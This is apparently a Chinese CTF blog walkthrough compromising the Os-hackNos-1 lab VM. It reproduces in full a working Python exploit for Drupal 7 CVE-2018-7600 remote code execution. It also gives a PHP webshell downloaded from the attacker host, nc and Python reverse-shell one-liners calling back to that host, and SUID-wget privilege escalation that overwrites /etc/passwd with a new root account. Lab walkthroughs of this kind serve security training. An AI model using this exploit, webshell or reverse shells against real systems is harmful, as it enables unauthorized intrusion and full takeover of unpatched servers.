Os-hackNos-1

Os-hackNos-1

一、主机发现和端口扫描

  • 主机发现

    arp-scan -l
    

    在这里插入图片描述

  • 端口扫描

    nmap -P 192.168.80.141
    

    在这里插入图片描述

二、信息收集

  • 访问80端口,可知目标是ubuntu系统,中间件是Apache

    在这里插入图片描述

  • 目录扫描,发现两个路径

    dirsearch -u http://192.168.80.141/ -e *
    

    在这里插入图片描述

  • index.html路径就是主页,接着访问/drupal

    在这里插入图片描述

  • 是一个Drupal搭建的CMS,继续进行路径扫描,有一个CHANGELOG.txt文档,可以看到版本为7.57

    dirsearch -u http://192.168.80.141/drupal -e *
    

    在这里插入图片描述

    在这里插入图片描述

三、漏洞挖掘

  • 根据版本号查询历史漏洞,发现存在CVE-2018-7600,直接使用该EXP

    https://github.com/pimps/CVE-2018-7600
    git clone https://github.com/pimps/CVE-2018-7600.git
    
    #!/usr/bin/env python3
    
    import requests
    import argparse
    from bs4 import BeautifulSoup
    
    def get_args():
      parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                        formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                        epilog= '''
                        This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                        by poisoning the recover password form (user/password) and triggering it with
                        the upload file via ajax (/file/ajax).
                        ''')
      parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
      parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
      parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
      parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
      args = parser.parse_args()
      return args
    
    def pwn_target(target, function, command, proxy):
      requests.packages.urllib3.disable_warnings()
      proxies = {'http': proxy, 'https': proxy}
      print('[*] Poisoning a form and including it in cache.')
      get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
      post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
      r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
      soup = BeautifulSoup(r.text, "html.parser")
      try:
        form = soup.find('form', {'id': 'user-pass'})
        form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
        if form_build_id:
            print('[*] Poisoned form ID: ' + form_build_id)
            print('[*] Triggering exploit to execute: ' + command)
            get_params = {'q':'file/ajax/name/#value/' + form_build_id}
            post_params = {'form_build_id':form_build_id}
            r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
            parsed_result = r.text.split('[{"command":"settings"')[0]
            print(parsed_result)
      except:
        print("ERROR: Something went wrong.")
        raise
    
    def main():
      print ()
      print ('=============================================================================')
      print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
      print ('|                              by pimps                                     |')
      print ('=============================================================================\n')
    
      args = get_args() # get the cl args
      pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
    
    
    if __name__ == '__main__':
      main()
    
  • 执行命令

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "whoami"
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "pwd"
    

    在这里插入图片描述

四、连接webshell

  • 在本地编写一个webshell,并开启http服务

    <?php system($_POST['glc']);?>
    

    在这里插入图片描述

  • 将webshell下载到目标靶机的网站目录下

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/shell.php"
    

    在这里插入图片描述

    在这里插入图片描述

  • 测试webshell是否连接成功

    在这里插入图片描述

五、反弹shell

  • 目标服务器存在nc命令,使用nc反弹shell

    glc=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+192.168.80.139+8848+>/tmp/f
    

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 也可以使用python反弹shell

    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.139",8848));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    在这里插入图片描述

    在这里插入图片描述

六、二次信息收集

  • 发现一个alexander.txt文件,对其进行base64解码

    KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
    

    在这里插入图片描述

    +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
    ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
    ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
    >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
    ++.<
    
  • 使用的是Brainfuck加密,进行Brainfuck解密

    Brainfuck解密网站:https://www.splitbrain.org/services/ook
    
    解密结果james:Hacker@4514
    

    在这里插入图片描述

  • 尝试ssh连接,但是密码不对

    ssh james@192.168.80.141
    

    在这里插入图片描述

  • 在home中找到james和其目录下的user.txt

    在这里插入图片描述

七、权限提升

  • suid提权,需要搜索到带有s的文件,开始查找

    find / -perm -u=s -type f 2>/dev/null
    

    在这里插入图片描述

  • 发现wget具有suid权限,而且普通用户可以执行,那么可以通过下载目标靶机上的passwd文件,然后添加一个有root权限的用户到passwd文件中,然后使用wget -O将内容重定向到目标靶机的/etc/passwd中

    cat /etc/passwd
    

    在这里插入图片描述

  • 在kali中生成密码

    openssl passwd -1 -salt glc 123456
    
    $1$glc$kuZClTRBy.K2I/O4p9kSJ1
    

    在这里插入图片描述

  • 将密码添加到我们构造的passwd文件中,然后下载重定向到/etc/passwd

    glc:$1$glc$kuZClTRBy.K2I/O4p9kSJ1:0:0:root:/root:/bin/bash
    
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/passwd -O /etc/passwd"
    

    在这里插入图片描述

  • 切换到glc用户

    su glc
    

    在这里插入图片描述

  • 因为su命令必须在终端中执行,所以我们使用转换成python执行终端命令

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

    在这里插入图片描述

  • 结束

    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值